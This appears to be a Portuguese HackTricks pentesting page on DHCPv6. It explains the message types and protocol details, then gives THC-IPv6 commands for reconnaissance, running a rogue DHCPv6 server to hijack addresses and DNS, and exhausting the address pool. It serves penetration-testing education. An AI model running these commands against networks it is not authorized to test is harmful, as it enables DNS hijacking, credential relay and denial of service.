DHCPv6

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

DHCPv6 vs. DHCPv4 Tipo de Mensagem Comparação

Abaixo é apresentada uma visão comparativa dos tipos de mensagem DHCPv6 e DHCPv4:

DHCPv6 Message TypeDHCPv4 Message Type
Solicit (1)DHCPDISCOVER
Advertise (2)DHCPOFFER
Request (3), Renew (5), Rebind (6)DHCPREQUEST
Reply (7)DHCPACK / DHCPNAK
Release (8)DHCPRELEASE
Information-Request (11)DHCPINFORM
Decline (9)DHCPDECLINE
Confirm (4)none
Reconfigure (10)DHCPFORCERENEW
Relay-Forw (12), Relay-Reply (13)none

Explicação detalhada dos tipos de mensagem DHCPv6:

  1. Solicit (1): Iniciado por um cliente DHCPv6 para encontrar servidores disponíveis.
  2. Advertise (2): Enviado pelos servidores em resposta a um Solicit, indicando disponibilidade para o serviço DHCP.
  3. Request (3): Clientes usam isto para solicitar endereços IP ou prefixes de um servidor específico.
  4. Confirm (4): Usado por um cliente para verificar se os endereços atribuídos ainda são válidos na rede, tipicamente após uma mudança de rede.
  5. Renew (5): Clientes enviam isto ao servidor original para estender o tempo de vida dos endereços ou atualizar configurações.
  6. Rebind (6): Enviado para qualquer servidor para estender o tempo de vida dos endereços ou atualizar configurações, especialmente quando não há resposta a um Renew.
  7. Reply (7): Servidores usam isto para fornecer endereços, parâmetros de configuração, ou para reconhecer mensagens como Release ou Decline.
  8. Release (8): Clientes informam ao servidor para parar de usar um ou mais endereços atribuídos.
  9. Decline (9): Enviado por clientes para reportar que os endereços atribuídos estão em conflito na rede.
  10. Reconfigure (10): Servidores solicitam que clientes iniciem transações para configurações novas ou atualizadas.
  11. Information-Request (11): Clientes solicitam parâmetros de configuração sem atribuição de endereço IP.
  12. Relay-Forw (12): Agentes relay encaminham mensagens para servidores.
  13. Relay-Repl (13): Servidores respondem aos agentes relay, que então entregam a mensagem ao cliente.

Notas Rápidas do Protocolo (Ofensivo)

  • Clientes DHCPv6 usam a porta UDP 546 e servidores/relays usam a porta UDP 547.
  • Clientes enviam Solicit para All_DHCP_Relay_Agents_and_Servers (ff02::1:2); servidores/relays escutam lá. All_DHCP_Servers é ff05::1:3.
  • Identidades de cliente e servidor são transportadas em OPTION_CLIENTID e OPTION_SERVERID usando DUIDs. Isso é útil para fingerprinting do mesmo host através de mudanças de endereço.
  • Atribuição de endereço é solicitada com IA_NA (endereço não temporário) e delegação de prefixo com IA_PD (prefixo do roteador a jusante).

Recon Rápido

# Basic DHCPv6 traffic capture
sudo tcpdump -vvv -i <IFACE> 'udp port 546 or udp port 547'

# THC-IPv6: discover DHCPv6 servers and their options
sudo atk6-dump_dhcp6 <IFACE>

Rogue DHCPv6 Server (Address/DNS Hijack)

# THC-IPv6: rogue DHCPv6 server advertising address + DNS
sudo atk6-fake_dhcps6 <IFACE> <PREFIX>/<LEN> <DNSv6>

Este é um servidor rogue DHCPv6 genérico on-link. Em redes Windows/AD, combine isto com higher-level relays (veja a página IPv6) se quiser NTLM relay primitives.

Esgotamento do pool / DHCPv6 Starvation

# THC-IPv6: exhaust the server's address pool
sudo atk6-flood_dhcpc6 <IFACE>

Aviso sobre a mensagem Reconfigure

DHCPv6 Reconfigure não é aceito cegamente: clientes só o aceitam se tiverem enviado explicitamente OPTION_RECONF_ACCEPT. Por padrão, um cliente é relutante em aceitar mensagens Reconfigure, então ataques Reconfigure pouco sólidos costumam falhar a menos que você observe/induza essa opção.

Pentesting IPv6

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks